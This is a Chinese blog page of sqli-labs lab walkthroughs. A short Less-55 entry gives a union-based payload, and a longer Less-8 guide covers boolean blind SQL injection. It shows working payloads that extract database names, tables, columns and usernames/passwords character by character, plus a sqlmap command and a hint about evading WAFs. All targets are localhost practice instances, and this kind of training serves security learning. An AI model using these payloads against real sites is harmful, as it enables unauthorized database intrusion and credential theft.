Sqli-labs less 55

Less-55

本关的sql语句为:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

其余和less54是一样的,所以我们将上述的语句前添加 ) 即可,但是这里要求次数为14次。

示例payload:

http://127.0.0.1/sqli-labs/Less-55/?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

转载于:https://www.cnblogs.com/lcamry/p/5762660.html

sqli-labs 平台的 Less-8 关卡是一个典型的布尔盲注(Boolean-based Blind SQL Injection)场景。该关卡没有明确的回显信息,攻击者需要通过页面返回的布尔状态(正常或异常)来判断注入语句是否执行成功,从而逐步推断数据库信息。 ### 解题思路 在 Less-8 中,注入点位于 `id` 参数,使用单引号 `'` 作为闭合方式。注入点的基本形式为: ```http http://localhost/sqli-labs/Less-8/?id=1' ``` #### 1. 判断注入点是否存在 尝试构造布尔表达式来验证注入点是否有效。例如: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=1 --+ ``` 如果页面正常显示内容,则说明布尔表达式为真时页面正常;再尝试: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=2 --+ ``` 如果页面无内容或出现错误,则确认存在布尔盲注漏洞。 #### 2. 猜解数据库名称长度 通过 `LENGTH(database())` 函数判断当前数据库名称的长度: ```http http://localhost/sqli-labs/Less-8/?id=1' AND LENGTH(database()) > 5 --+ ``` 逐步调整数值,确定数据库名称的具体长度。 #### 3. 猜解数据库名称 使用 `SUBSTR()` 和 `ASCII()` 函数逐字符判断数据库名称: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR(database(),1,1)) > 97 --+ ``` 通过二分法逐步缩小字符范围,最终确定数据库名称。 #### 4. 猜解表名 假设已知数据库名为 `security`,可以使用以下语句获取表名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取表名,直到完整识别出目标表(如 `users`)。 #### 5. 猜解列名 获取 `users` 表的列名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取列名,如 `username`、`password` 等。 #### 6. 获取数据 最后,获取具体字段的数据,例如用户名和密码: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1)) > 64 --+ ``` 重复上述步骤,逐字符提取敏感信息。 ### 自动化工具辅助 在实际渗透测试中,可以使用如 **sqlmap** 等工具自动完成上述过程。例如: ```bash sqlmap -u "http://localhost/sqli-labs/Less-8/?id=1" --batch --risk=3 --level=5 --dbs ``` 该命令可自动探测数据库信息,并提取表名和字段内容。 ### 注意事项 - 所有操作应在合法授权范围内进行,避免非法入侵。 - 布尔盲注效率较低,建议结合延时注入(Time-based Blind SQL Injection)提升速度。 - 部分 WAF(Web Application Firewall)可能拦截敏感关键字,需对注入语句进行编码或绕过处理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值